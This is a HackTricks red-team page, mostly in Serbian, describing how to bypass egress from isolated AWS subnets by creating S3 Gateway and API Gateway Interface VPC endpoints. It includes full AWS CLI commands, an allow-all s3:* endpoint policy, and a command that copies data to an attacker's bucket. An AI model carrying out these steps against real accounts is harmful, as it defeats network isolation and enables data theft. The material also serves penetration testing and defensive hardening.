AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Sažetak

Ova tehnika zloupotrebljava VPC Endpoints da kreira exfiltration kanale iz subneta koji nemaju Internet Gateways ili NAT. Gateway endpoints (npr. S3) dodaju prefix‑list rute u subnet route tables; Interface endpoints (npr. execute-api, secretsmanager, ssm, itd.) kreiraju dostupne ENIs sa private IPs zaštićenim security groups. Sa minimalnim VPC/EC2 dozvolama, napadač može omogućiti kontrolisani egress koji ne prolazi preko javnog Interneta.

Preduslovi: postojeći VPC i private subnets (bez IGW/NAT). Potrebne su dozvole za kreiranje VPC endpoints i, za Option B, security group za prikačenje na endpoint ENIs.

Opcija A – S3 Gateway VPC Endpoint

Varijable

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • RTB_IDS=<comma-separated route table IDs of private subnets>
  1. Create a permissive endpoint policy file (optional). Save as allow-put-get-any-s3.json:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
  1. Kreirajte S3 Gateway endpoint (dodaje S3 prefix‑list rutu u odabrane tabele ruta):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json   # optional

Dokazi za prikupljanje:

  • aws ec2 describe-route-tables --route-table-ids $RTB_IDS prikazuje rutu do AWS S3 prefix liste (npr., DestinationPrefixListId=pl-..., GatewayId=vpce-...).
  • Sa instance u tim podmrežama (sa IAM perms) možete exfil via S3 without Internet:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION

Option B – Interface VPC Endpoint for API Gateway (execute-api)

Promenljive

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • SUBNET_IDS=<comma-separated private subnets>
  • SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
  1. Kreirajte interface endpoint i prikačite SG:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled

Dokazi koje treba prikupiti:

  • aws ec2 describe-vpc-endpoints prikazuje endpoint u stanju available sa NetworkInterfaceIds (ENIs u vašim podmrežama).
  • Instance u tim podmrežama mogu da pristupe Private API Gateway endpoint-ima kroz te VPCE ENI-je (nije potreban Internet put).

Uticaj

  • Zaobilazi perimeter egress kontrole koristeći AWS‑managed privatne puteve ka AWS servisima.
  • Omogućava eksfiltraciju podataka iz izolovanih podmreža (npr. pisanje u S3; pozivanje Private API Gateway; pristup Secrets Manager/SSM/STS itd.) bez IGW/NAT.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks